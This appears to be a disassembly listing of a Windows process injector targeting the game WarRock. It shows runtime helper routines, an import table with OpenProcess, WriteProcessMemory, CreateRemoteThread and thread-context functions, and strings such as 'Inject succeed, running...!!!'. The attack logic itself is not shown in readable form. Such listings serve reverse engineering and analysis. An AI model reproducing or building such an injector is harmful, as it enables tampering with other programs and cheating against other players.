.text:004050EB                 mov     eax, [esp+8]
.text:004050EF
.text:004050EF loc_4050EF:                             ; CODE XREF: .text:004050F9j
.text:004050EF                 shr     ecx, 1
.text:004050F1                 rcr     ebx, 1
.text:004050F3                 shr     edx, 1
.text:004050F5                 rcr     eax, 1
.text:004050F7                 or      ecx, ecx
.text:004050F9                 jnz     short loc_4050EF
.text:004050FB                 div     ebx
.text:004050FD                 mov     ecx, eax
.text:004050FF                 mul     dword ptr [esp+14h]
.text:00405103                 xchg    eax, ecx
.text:00405104                 mul     dword ptr [esp+10h]
.text:00405108                 add     edx, ecx
.text:0040510A                 jb      short loc_40511A
.text:0040510C                 cmp     edx, [esp+0Ch]
.text:00405110                 ja      short loc_40511A
.text:00405112                 jb      short loc_405122
.text:00405114                 cmp     eax, [esp+8]
.text:00405118                 jbe     short loc_405122
.text:0040511A
.text:0040511A loc_40511A:                             ; CODE XREF: .text:0040510Aj
.text:0040511A                                         ; .text:00405110j
.text:0040511A                 sub     eax, [esp+10h]
.text:0040511E                 sbb     edx, [esp+14h]
.text:00405122
.text:00405122 loc_405122:                             ; CODE XREF: .text:00405112j
.text:00405122                                         ; .text:00405118j
.text:00405122                 sub     eax, [esp+8]
.text:00405126                 sbb     edx, [esp+0Ch]
.text:0040512A                 neg     edx
.text:0040512C                 neg     eax
.text:0040512E                 sbb     edx, 0
.text:00405131
.text:00405131 loc_405131:                             ; CODE XREF: .text:004050DFj
.text:00405131                 pop     ebx
.text:00405132                 retn    10h
.text:00405132 ; ---------------------------------------------------------------------------
.text:00405135                 align 10h
.text:00405140
.text:00405140 __allmul:
.text:00405140                 mov     eax, [esp+8]
.text:00405144                 mov     ecx, [esp+10h]
.text:00405148                 or      ecx, eax
.text:0040514A                 mov     ecx, [esp+0Ch]
.text:0040514E                 jnz     short loc_405159
.text:00405150                 mov     eax, [esp+4]
.text:00405154                 mul     ecx
.text:00405156                 retn    10h
.text:00405159 ; ---------------------------------------------------------------------------
.text:00405159
.text:00405159 loc_405159:                             ; CODE XREF: .text:0040514Ej
.text:00405159                 push    ebx
.text:0040515A                 mul     ecx
.text:0040515C                 mov     ebx, eax
.text:0040515E                 mov     eax, [esp+8]
.text:00405162                 mul     dword ptr [esp+14h]
.text:00405166                 add     ebx, eax
.text:00405168                 mov     eax, [esp+8]
.text:0040516C                 mul     ecx
.text:0040516E                 add     edx, ebx
.text:00405170                 pop     ebx
.text:00405171                 retn    10h
.text:00405171 ; ---------------------------------------------------------------------------
.text:00405174                 align 10h
.text:00405180 ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
.text:00405185                 align 10h
.text:00405190 ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
.text:0040524C ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
.text:00405252                 align 1000h
.text:00405252 _text           ends
.text:00405252
.idata:00406000 ; Section 2. (virtual address 00006000)
.idata:00406000 ; Virtual size                  : 00000E46 (   3654.)
.idata:00406000 ; Section size in file          : 00001000 (   4096.)
.idata:00406000 ; Offset to raw data for section: 00006000
.idata:00406000 ; Flags 40000040: Data Readable
.idata:00406000 ; Alignment     : default
.idata:00406000 ;
.idata:00406000 ; Imports from KERNEL32.dll
.idata:00406000 ;
.idata:00406000 ; ---------------------------------------------------------------------------
.idata:00406000
.idata:00406000 ; Segment type: Externs
.idata:00406000 ; _idata
.idata:00406000 ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
.idata:00406000                 extrn GetVersionExA:dword ; DATA XREF: sub_401000+13r
.idata:00406000                                         ; Get extended information about the
.idata:00406000                                         ; version of the operating system
.idata:00406004 ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
.idata:00406004                 extrn GetProcAddress:dword ; DATA XREF: sub_401080+3Er
.idata:00406004                                         ; sub_401080+4Br ...
.idata:00406008 ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
.idata:00406008                 extrn LoadLibraryA:dword ; DATA XREF: sub_401080+2Cr
.idata:00406008                                         ; sub_4014B0+A5r ...
.idata:0040600C ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
.idata:0040600C                 extrn GetModuleHandleA:dword ; DATA XREF: sub_401080+1Br
.idata:0040600C                                         ; sub_4014B0+96r ...
.idata:00406010 ; BOOL __stdcall CloseHandle(HANDLE hObject)
.idata:00406010                 extrn CloseHandle:dword ; DATA XREF: sub_4011D0+65r
.idata:00406010                                         ; sub_4011D0+ACr ...
.idata:00406014 ; DWORD __stdcall ResumeThread(HANDLE hThread)
.idata:00406014                 extrn ResumeThread:dword ; DATA XREF: sub_4014B0+2E9r
.idata:00406014                                         ; sub_4014B0+311r ...
.idata:00406018 ; BOOL __stdcall SetThreadContext(HANDLE hThread,const CONTEXT *lpContext)
.idata:00406018                 extrn SetThreadContext:dword ; DATA XREF: sub_4014B0+2DAr
.idata:00406018                                         ; sub_4014B0+38Er
.idata:0040601C ; BOOL __stdcall GetThreadContext(HANDLE hThread,LPCONTEXT lpContext)
.idata:0040601C                 extrn GetThreadContext:dword ; DATA XREF: sub_4014B0+2A7r
.idata:0040601C                                         ; sub_4014B0+365r
.idata:00406020 ; DWORD __stdcall SuspendThread(HANDLE hThread)
.idata:00406020                 extrn SuspendThread:dword ; DATA XREF: sub_4014B0+27Fr
.idata:00406020                                         ; sub_4014B0+349r ...
.idata:00406024 ; void __stdcall Sleep(DWORD dwMilliseconds)
.idata:00406024                 extrn Sleep:dword       ; DATA XREF: sub_4014B0+274r
.idata:00406024                                         ; sub_4014B0+33Fr ...
.idata:00406028 ; BOOL __stdcall GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode)
.idata:00406028                 extrn GetExitCodeThread:dword ; DATA XREF: sub_4014B0+211r
.idata:0040602C ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
.idata:0040602C                 extrn WaitForSingleObject:dword ; DATA XREF: sub_4014B0+205r
.idata:00406030 ; HANDLE __stdcall CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
.idata:00406030                 extrn CreateRemoteThread:dword ; DATA XREF: sub_4014B0+1BFr
.idata:00406034 ; BOOL __stdcall WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress,LPVOID lpBuffer,DWORD nSize,LPDWORD lpNumberOfBytesWritten)
.idata:00406034                 extrn WriteProcessMemory:dword ; DATA XREF: sub_4014B0+187r
.idata:00406038 ; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
.idata:00406038                 extrn OpenProcess:dword ; DATA XREF: sub_401980+3Dr
.idata:0040603C ; BOOL __stdcall IsBadReadPtr(const void *lp,UINT ucb)
.idata:0040603C                 extrn IsBadReadPtr:dword ; DATA XREF: sub_401980+2Ar
.idata:00406040 ; DWORD GetCurrentProcessId(void)
.idata:00406040                 extrn GetCurrentProcessId:dword ; DATA XREF: sub_401980+7r
.idata:00406044 ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
.idata:00406044                 extrn CreateThread:dword ; DATA XREF: WinMain(x,x,x,x)+4Ar
.idata:00406048 ; DWORD GetLastError(void)
.idata:00406048                 extrn GetLastError:dword ; DATA XREF: WinMain(x,x,x,x)+Fr
.idata:00406048                                         ; __getptd+2r
.idata:0040604C ; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
.idata:0040604C                 extrn CreateMutexA:dword ; DATA XREF: WinMain(x,x,x,x)+9r
.idata:00406050 ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
.idata:00406050                 extrn FindFirstFileA:dword ; DATA XREF: StartAddress+71r
.idata:00406054 ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize)
.idata:00406054                 extrn GetModuleFileNameA:dword ; DATA XREF: StartAddress+16r
.idata:00406054                                         ; __setargv+23r ...
.idata:00406058 ; UINT GetOEMCP(void)
.idata:00406058                 extrn GetOEMCP:dword    ; DATA XREF: _getSystemCP+1Ar
.idata:0040605C ; UINT GetACP(void)
.idata:0040605C                 extrn GetACP:dword      ; DATA XREF: _getSystemCP+2Fr
.idata:00406060 ; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,DWORD dwBytes)
.idata:00406060                 extrn HeapReAlloc:dword ; DATA XREF: ___sbh_alloc_new_region+28r
.idata:00406064 ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,DWORD dwSize,DWORD flAllocationType,DWORD flProtect)
.idata:00406064                 extrn VirtualAlloc:dword
.idata:00406064                                         ; DATA XREF: ___sbh_alloc_new_region+76r
.idata:00406064                                         ; ___sbh_alloc_new_group+51r
.idata:00406068 ; BOOL __stdcall GetStringTypeW(DWORD dwInfoType,LPCWSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
.idata:00406068                 extrn GetStringTypeW:dword
.idata:00406068                                         ; DATA XREF: ___crtGetStringTypeA+3Fr
.idata:00406068                                         ; ___crtGetStringTypeA+12Dr
.idata:0040606C ; BOOL __stdcall GetStringTypeA(LCID Locale,DWORD dwInfoType,LPCSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
.idata:0040606C                 extrn GetStringTypeA:dword
.idata:0040606C                                         ; DATA XREF: ___crtGetStringTypeA+59r
.idata:0040606C                                         ; ___crtGetStringTypeA+8Dr
.idata:00406070 ; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
.idata:00406070                 extrn InterlockedDecrement:dword ; DATA XREF: _tolower+32r
.idata:00406070                                         ; _tolower+3Br ...
.idata:00406074 ; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
.idata:00406074                 extrn InterlockedIncrement:dword ; DATA XREF: _tolower+26r
.idata:00406078 ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo)
.idata:00406078                 extrn GetStartupInfoA:dword ; DATA XREF: start+B1r
.idata:00406078                                         ; __ioinit+5Er
.idata:0040607C ; LPSTR GetCommandLineA(void)
.idata:0040607C                 extrn GetCommandLineA:dword ; DATA XREF: start+86r
.idata:00406080 ; DWORD GetVersion(void)
.idata:00406080                 extrn GetVersion:dword  ; DATA XREF: start+26r
.idata:00406080                                         ; Get current version number of Windows
.idata:00406080                                         ; and information about the operating system platform
.idata:00406084 ; void __stdcall ExitProcess(UINT uExitCode)
.idata:00406084                 extrn ExitProcess:dword ; DATA XREF: _fast_error_exit+1Dr
.idata:00406084                                         ; _doexit+9Dr
.idata:00406088 ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
.idata:00406088                 extrn InitializeCriticalSection:dword
.idata:00406088                                         ; DATA XREF: __mtinitlocks+1r
.idata:00406088                                         ; __mtinitlocks+Dr ...
.idata:0040608C ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
.idata:0040608C                 extrn EnterCriticalSection:dword ; DATA XREF: __lock+58r
.idata:00406090 ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
.idata:00406090                 extrn LeaveCriticalSection:dword ; DATA XREF: __unlock+Dr
.idata:00406094 ; int __stdcall WideCharToMultiByte(UINT CodePage,DWORD dwFlags,LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cchMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
.idata:00406094                 extrn WideCharToMultiByte:dword
.idata:00406094                                         ; DATA XREF: ___crtLCMapStringA+20Dr
.idata:00406094                                         ; ___crtGetEnvironmentStringsA+7Er ...
.idata:00406098 ; int __stdcall MultiByteToWideChar(UINT CodePage,DWORD dwFlags,LPCSTR lpMultiByteStr,int cchMultiByte,LPWSTR lpWideCharStr,int cchWideChar)
.idata:00406098                 extrn MultiByteToWideChar:dword
.idata:00406098                                         ; DATA XREF: ___crtLCMapStringA+DFr
.idata:00406098                                         ; ___crtLCMapStringA+137r ...
.idata:0040609C ; int __stdcall LCMapStringA(LCID Locale,DWORD dwMapFlags,LPCSTR lpSrcStr,int cchSrc,LPSTR lpDestStr,int cchDest)
.idata:0040609C                 extrn LCMapStringA:dword ; DATA XREF: ___crtLCMapStringA+5Er
.idata:0040609C                                         ; ___crtLCMapStringA+A7r
.idata:004060A0 ; int __stdcall LCMapStringW(LCID Locale,DWORD dwMapFlags,LPCWSTR lpSrcStr,int cchSrc,LPWSTR lpDestStr,int cchDest)
.idata:004060A0                 extrn LCMapStringW:dword ; DATA XREF: ___crtLCMapStringA+42r
.idata:004060A0                                         ; ___crtLCMapStringA+14Dr ...
.idata:004060A4 ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,DWORD dwBytes)
.idata:004060A4                 extrn HeapAlloc:dword   ; DATA XREF: __heap_alloc+45r
.idata:004060A4                                         ; ___sbh_heap_init+Dr ...
.idata:004060A8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.idata:004060A8                 extrn TerminateProcess:dword ; DATA XREF: _doexit+1Cr
.idata:004060AC ; HANDLE GetCurrentProcess(void)
.idata:004060AC                 extrn GetCurrentProcess:dword ; DATA XREF: _doexit+15r
.idata:004060B0 ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
.idata:004060B0                 extrn UnhandledExceptionFilter:dword
.idata:004060B0                                         ; DATA XREF: __XcptFilter+134r
.idata:004060B4 ; BOOL __stdcall FreeEnvironmentStringsA(LPSTR)
.idata:004060B4                 extrn FreeEnvironmentStringsA:dword
.idata:004060B4                                         ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
.idata:004060B8 ; BOOL __stdcall FreeEnvironmentStringsW(LPWSTR)
.idata:004060B8                 extrn FreeEnvironmentStringsW:dword
.idata:004060B8                                         ; DATA XREF: ___crtGetEnvironmentStringsA+CEr
.idata:004060BC ; LPSTR GetEnvironmentStrings(void)
.idata:004060BC                 extrn GetEnvironmentStrings:dword
.idata:004060BC                                         ; DATA XREF: ___crtGetEnvironmentStringsA:loc_402D2Ar
.idata:004060BC                                         ; ___crtGetEnvironmentStringsA+E1r
.idata:004060C0 ; LPWSTR GetEnvironmentStringsW(void)
.idata:004060C0                 extrn GetEnvironmentStringsW:dword
.idata:004060C0                                         ; DATA XREF: ___crtGetEnvironmentStringsA+9r
.idata:004060C0                                         ; ___crtGetEnvironmentStringsA+1Br ...
.idata:004060C4 ; UINT __stdcall SetHandleCount(UINT uNumber)
.idata:004060C4                 extrn SetHandleCount:dword ; DATA XREF: __ioinit+1B1r
.idata:004060C8 ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
.idata:004060C8                 extrn GetStdHandle:dword ; DATA XREF: __ioinit+16Cr
.idata:004060C8                                         ; __NMSG_WRITE+143r
.idata:004060CC ; DWORD __stdcall GetFileType(HANDLE hFile)
.idata:004060CC                 extrn GetFileType:dword ; DATA XREF: __ioinit+109r
.idata:004060CC                                         ; __ioinit+17Ar
.idata:004060D0 ; DWORD GetCurrentThreadId(void)
.idata:004060D0                 extrn GetCurrentThreadId:dword ; DATA XREF: __mtinit+3Fr
.idata:004060D0                                         ; __getptd+45r
.idata:004060D4 ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex,LPVOID lpTlsValue)
.idata:004060D4                 extrn TlsSetValue:dword ; DATA XREF: __mtinit+2Er
.idata:004060D4                                         ; __getptd+34r
.idata:004060D8 ; DWORD TlsAlloc(void)
.idata:004060D8                 extrn TlsAlloc:dword    ; DATA XREF: __mtinit+6r
.idata:004060D8                                         ; Allocate a thread local storage (TLS) index
.idata:004060DC ; void __stdcall SetLastError(DWORD dwErrCode)
.idata:004060DC                 extrn SetLastError:dword ; DATA XREF: __getptd+5Cr
.idata:004060E0 ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
.idata:004060E0                 extrn TlsGetValue:dword ; DATA XREF: __getptd+10r
.idata:004060E4 ; BOOL __stdcall HeapDestroy(HANDLE hHeap)
.idata:004060E4                 extrn HeapDestroy:dword ; DATA XREF: __heap_init+2Fr
.idata:004060E8 ; HANDLE __stdcall HeapCreate(DWORD flOptions,DWORD dwInitialSize,DWORD dwMaximumSize)
.idata:004060E8                 extrn HeapCreate:dword  ; DATA XREF: __heap_init+11r
.idata:004060EC ; BOOL __stdcall VirtualFree(LPVOID lpAddress,DWORD dwSize,DWORD dwFreeType)
.idata:004060EC                 extrn VirtualFree:dword ; DATA XREF: ___sbh_free_block+23Fr
.idata:004060EC                                         ; ___sbh_free_block+257r ...
.idata:004060F0 ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
.idata:004060F0                 extrn HeapFree:dword    ; DATA XREF: _free+40r
.idata:004060F0                                         ; ___sbh_free_block+2C4r ...
.idata:004060F4                 extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
.idata:004060F8 ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
.idata:004060F8                 extrn WriteFile:dword   ; DATA XREF: __NMSG_WRITE+14Ar
.idata:004060FC ; BOOL __stdcall GetCPInfo(UINT CodePage,LPCPINFO lpCPInfo)
.idata:004060FC                 extrn GetCPInfo:dword   ; DATA XREF: __setmbcp+51r
.idata:004060FC                                         ; _setSBUpLow+14r
.idata:00406100
.idata:00406104 ;
.idata:00406104 ; Imports from SHELL32.dll
.idata:00406104 ;
.idata:00406104 ; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
.idata:00406104                 extrn ShellExecuteA:dword ; DATA XREF: DialogFunc+17Ar
.idata:00406104                                         ; Opens or prints a specified file
.idata:00406108 ; BOOL __stdcall Shell_NotifyIconA(DWORD dwMessage,PNOTIFYICONDATAA lpData)
.idata:00406108                 extrn Shell_NotifyIconA:dword
.idata:00406108                                         ; DATA XREF: StartAddress:loc_401D46r
.idata:00406108                                         ; StartAddress+1FDr ...
.idata:00406108                                         ; Send a message to the system to add,
.idata:00406108                                         ; modify, or delete an icon from the
.idata:00406108                                         ; taskbar status area
.idata:0040610C
.idata:00406110 ;
.idata:00406110 ; Imports from USER32.dll
.idata:00406110 ;
.idata:00406110 ; BOOL __stdcall GetWindowRect(HWND hWnd,LPRECT lpRect)
.idata:00406110                 extrn GetWindowRect:dword ; DATA XREF: DialogFunc+3Fr
.idata:00406114 ; int __stdcall GetSystemMetrics(int nIndex)
.idata:00406114                 extrn GetSystemMetrics:dword ; DATA XREF: DialogFunc+5Br
.idata:00406114                                         ; DialogFunc+65r ...
.idata:00406118 ; BOOL __stdcall MoveWindow(HWND hWnd,int X,int Y,int nWidth,int nHeight,BOOL bRepaint)
.idata:00406118                 extrn MoveWindow:dword  ; DATA XREF: DialogFunc+90r
.idata:0040611C ; HICON __stdcall LoadIconA(HINSTANCE hInstance,LPCSTR lpIconName)
.idata:0040611C                 extrn LoadIconA:dword   ; DATA XREF: DialogFunc+9Er
.idata:00406120 ; BOOL __stdcall EndDialog(HWND hDlg,int nResult)
.idata:00406120                 extrn EndDialog:dword   ; DATA XREF: DialogFunc+14Er
.idata:00406124 ; BOOL __stdcall IsWindowVisible(HWND hWnd)
.idata:00406124                 extrn IsWindowVisible:dword ; DATA XREF: DialogFunc+1C0r
.idata:00406128 ; BOOL __stdcall ShowWindow(HWND hWnd,int nCmdShow)
.idata:00406128                 extrn ShowWindow:dword  ; DATA XREF: DialogFunc+1CDr
.idata:00406128                                         ; DialogFunc+1DFr ...
.idata:0040612C ; BOOL __stdcall SetForegroundWindow(HWND hWnd)
.idata:0040612C                 extrn SetForegroundWindow:dword ; DATA XREF: DialogFunc+1E6r
.idata:00406130 ; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
.idata:00406130                 extrn PostMessageA:dword ; DATA XREF: StartAddress+120r
.idata:00406134 ; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
.idata:00406134                 extrn MessageBoxA:dword ; DATA XREF: WinMain(x,x,x,x)+27r
.idata:00406134                                         ; StartAddress+10Dr
.idata:00406138 ; int __stdcall DialogBoxParamA(HINSTANCE hInstance,LPCSTR lpTemplateName,HWND hWndParent,DLGPROC lpDialogFunc,LPARAM dwInitParam)
.idata:00406138                 extrn DialogBoxParamA:dword
.idata:00406138                                         ; DATA XREF: WinMain(x,x,x,x)+65r
.idata:00406138                                         ; Create a modal dialog box from a
.idata:00406138                                         ; dialog box template resource
.idata:0040613C ; LRESULT __stdcall SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
.idata:0040613C                 extrn SendMessageA:dword ; DATA XREF: DialogFunc+A4r
.idata:0040613C                                         ; DialogFunc+B5r ...
.idata:00406140
.idata:00406140
.rdata:00406144 ; ---------------------------------------------------------------------------
.rdata:00406144
.rdata:00406144 ; Segment type: Pure data
.rdata:00406144 ; Segment permissions: Read
.rdata:00406144 _rdata          segment para public 'DATA' use32
.rdata:00406144                 assume cs:_rdata
.rdata:00406144                 ;org 406144h
.rdata:00406144                 align 8
.rdata:00406148 aWarrock_exe    db 'WarRock.exe',0      ; DATA XREF: StartAddress+137o
.rdata:00406154                 db    0
.rdata:00406155                 db    0
.rdata:00406156                 db    0
.rdata:00406157                 db    0
.rdata:00406158                 db    0
.rdata:00406159                 db    0
.rdata:0040615A                 db    0
.rdata:0040615B                 db    0
.rdata:0040615C                 db    0
.rdata:0040615D                 db    0
.rdata:0040615E                 db    0
.rdata:0040615F                 db    0
.rdata:00406160                 db    0
.rdata:00406161                 db    0
.rdata:00406162                 db    0
.rdata:00406163                 db    0
.rdata:00406164                 db    0
.rdata:00406165                 db    0
.rdata:00406166                 db    0
.rdata:00406167                 db    0
.rdata:00406168 aInjectSucceedR db 'Inject succeed, running...!!!',0
.rdata:00406168                                         ; DATA XREF: StartAddress+152o
.rdata:00406168                                         ; StartAddress+189o
.rdata:00406186                 db    0
.rdata:00406187                 db    0
.rdata:00406188                 db    0
.rdata:00406189                 db    0
.rdata:0040618A                 db    0
.rdata:0040618B                 db    0
.rdata:0040618C                 db    0
.rdata:0040618D                 db    0
.rdata:0040618E                 db    0
.rdata:0040618F                 db    0
.rdata:00406190                 db    0
.rdata:00406191                 db    0
.rdata:00406192                 db    0
.rdata:00406193                 db    0
.rdata:00406194                 db    0
.rdata:00406195                 db    0
.rdata:00406196                 db    0
.rdata:00406197                 db    0
.rdata:00406198                 db    0
.rdata:00406199                 db    0
.rdata:0040619A                 db    0
.rdata:0040619B                 db    0
.rdata:0040619C                 db    0
.rdata:0040619D                 db    0
.rdata:0040619E                 db    0
.rdata:0040619F                 db    0
.rdata:004061A0                 db    0
.rdata:004061A1                 db    0
.rdata:004061A2                 db    0
.rdata:004061A3                 db    0
.rdata:004061A4                 db    0
.rdata:004061A5                 db    0
.rdata:004061A6                 db    0
.rdata:004061A7                 db    0
.rdata:004061A8                 db    0
.rdata:004061A9                 db    0
.rdata:004061AA                 db    0
.rdata:004061AB                 db    0
.rdata:004061AC                 db    0
.rdata:004061AD                 db    0
.rdata:004061AE                 db    0
.rdata:004061AF                 db    0
.rdata:004061B0                 db    0
.rdata:004061B1                 db    0
.rdata:004061B2                 db    0
.rdata:004061B3                 db    0
.rdata:004061B4                 db    0
.rdata:004061B5                 db    0
.rdata:004061B6                 db    0
.rdata:004061B7                 db    0
.rdata:004061B8                 db    0
.rdata:004061B9                 db    0
.rdata:004061BA                 db    0
.rdata:004061BB                 db    0
.rdata:004061BC                 db    0
.rdata:004061BD                 db    0
.rdata:004061BE                 db    0
.rdata:004061BF                 db    0
.rdata:004061C0                 db    0
.rdata:004061C1                 db    0
.rdata:004061C2                 db    0
.rdata:004061C3                 db    0
.rdata:004061C4                 db    0
.rdata:004061C5                 db    0
.rdata:004061C6                 db    0
.rdata:004061C7                 db    0
.rdata:004061C8                 db    0
.rdata:004061C9                 db    0
.rdata:004061CA                 db    0
.rdata:004061CB                 db    0
.rdata:004061CC                 db    0
.rdata:004061CD                 db    0
.rdata:004061CE                 db    0
.rdata:004061CF                 db    0
.rdata:004061D0                 db    0
.rdata:004061D1                 db    0
.rdata:004061D2                 db    0
.rdata:004061D3                 db    0
.rdata:004061D4                 db    0
.rdata:004061D5                 db    0
.rdata:004061D6                 db    0
.rdata:004061D7                 db    0
.rdata:004061D8                 db    0
.rdata:004061D9                 db    0
.rdata:004061DA                 db    0
.rdata:004061DB                 db    0
.rdata:004061DC                 db    0
.rdata:004061DD                 db    0
.rdata:004061DE                 db    0
.rdata:004061DF                 db    0
.rdata:004061E0                 db    0
.rdata:004061E1                 db    0
.rdata:004061E2                 db    0
.rdata:004061E3                 db    0
.rdata:004061E4                 db    0
.rdata:004061E5                 db    0
.rdata:004061E6                 db    0
.rdata:004061E7                 db    0
.rdata:004061E8 aWaitingForTarg db 'Waiting for target process...!!!',0
.rdata:004061E8                                         ; DATA XREF: StartAddress+19Ao
.rdata:004061E8                                         ; StartAddress+1D1o
.rdata:00406209                 db    0
.rdata:0040620A                 db    0
.rdata:0040620B                 db    0
.rdata:0040620C                 db    0
.rdata:0040620D                 db    0
.rdata:0040620E                 db    0
.rdata:0040620F                 db    0
.rdata:00406210                 db    0
.rdata:00406211                 db    0
.rdata:00406212                 db    0
.rdata:00406213                 db    0
.rdata:00406214                 db    0
.rdata:00406215                 db    0
.rdata:00406216                 db    0
.rdata:00406217                 db    0
.rdata:00406218                 db    0
.rdata:00406219                 db    0
.rdata:0040621A                 db    0
.rdata:0040621B                 db    0
.rdata:0040621C                 db    0
.rdata:0040621D                 db    0
.rdata:0040621E                 db    0
.rdata:0040621F                 db    0
.rdata:00406220                 db    0
.rdata:00406221                 db    0
.rdata:00406222                 db    0
.rdata:00406223                 db    0
.rdata:00406224                 db    0
.rdata:00406225                 db    0
.rdata:00406226                 db    0
.rdata:00406227                 db    0
.rdata:00406228                 db    0
.rdata:00406229                 db    0
.rdata:0040622A                 db    0
.rdata:0040622B                 db    0
.rdata:0040622C                 db    0
.rdata:0040622D                 db    0
.rdata:0040622E                 db    0
.rdata:0040622F                 db    0
.rdata:00406230                 db    0
.rdata:00406231                 db    0
.rdata:00406232                 db    0
.rdata:00406233                 db    0
.rdata:00406234                 db    0
.rdata:00406235                 db    0
.rdata:00406236                 db    0
.rdata:00406237                 db    0
.rdata:00406238                 db    0
.rdata:00406239                 db    0
.rdata:0040623A                 db    0
.rdata:0040623B                 db    0
.rdata:0040623C                 db    0
.rdata:0040623D                 db    0
.rdata:0040623E                 db    0
.rdata:0040623F                 db    0
.rdata:00406240                 db    0
.rdata:00406241                 db    0
.rdata:00406242                 db    0
.rdata:00406243                 db    0
.rdata:00406244                 db    0
.rdata:00406245                 db    0
.rdata:00406246                 db    0
.rdata:00406247                 db    0
.rdata:00406248                 db    0
.rdata:00406249                 db    0
.rdata:0040624A                 db    0
.rdata:0040624B                 db    0
.rdata:0040624C                 db    0
.rdata:0040624D                 db    0
.rdata:0040624E                 db    0
.rdata:0040624F                 db    0
.rdata:00406250                 db    0
.rdata:00406251                 db    0
.rdata:00406252                 db    0
.rdata:00406253                 db    0
.rdata:00406254                 db    0
.rdata:00406255                 db    0
.rdata:00406256                 db    0
.rdata:00406257                 db    0
.rdata:00406258                 db    0
.rdata:00406259                 db    0
.rdata:0040625A                 db    0
.rdata:0040625B                 db    0
.rdata:0040625C                 db    0
.rdata:0040625D                 db    0
.rdata:0040625E                 db    0
.rdata:0040625F                 db    0
.rdata:00406260                 db    0
.rdata:00406261                 db    0
.rdata:00406262                 db    0
.rdata:00406263                 db    0
.rdata:00406264                 db    0
.rdata:00406265                 db    0
.rdata:00406266                 db    0
.rdata:00406267                 db    0
.rdata:00406268 unk_406268      db 0FFh                 ; DATA XREF: start+5o
.rdata:00406269                 db 0FFh
.rdata:0040626A                 db 0FFh
.rdata:0040626B                 db 0FFh
.rdata:0040626C                 db 0AEh ; «
.rdata:0040626D                 db  22h ; "
.rdata:0040626E                 db  40h ; @
.rdata:0040626F                 db    0
.rdata:00406270                 db 0C2h ; -
.rdata:00406271                 db  22h ; "
.rdata:00406272                 db  40h ; @
.rdata:00406273                 db    0
.rdata:00406274 ; char byte_406274[]
.rdata:00406274 byte_406274     db 4 dup(0)             ; DATA XREF: ___crtLCMapStringA+57o
.rdata:00406274                                         ; ___crtGetStringTypeA+52o
.rdata:00406278 ; const WCHAR SrcStr
.rdata:00406278 SrcStr          dw 0                    ; DATA XREF: ___crtLCMapStringA+36o
.rdata:00406278                                         ; ___crtGetStringTypeA+39o
.rdata:0040627A                 align 10h
.rdata:00406280 unk_406280      db 0FFh                 ; DATA XREF: ___crtLCMapStringA+5o
.rdata:00406281                 db 0FFh
.rdata:00406282                 db 0FFh
.rdata:00406283                 db 0FFh
.rdata:00406284                 db 0C5h ; +
.rdata:00406285                 db  24h ; $
.rdata:00406286                 db  40h ; @
.rdata:00406287                 db    0
.rdata:00406288                 db 0C9h ; +
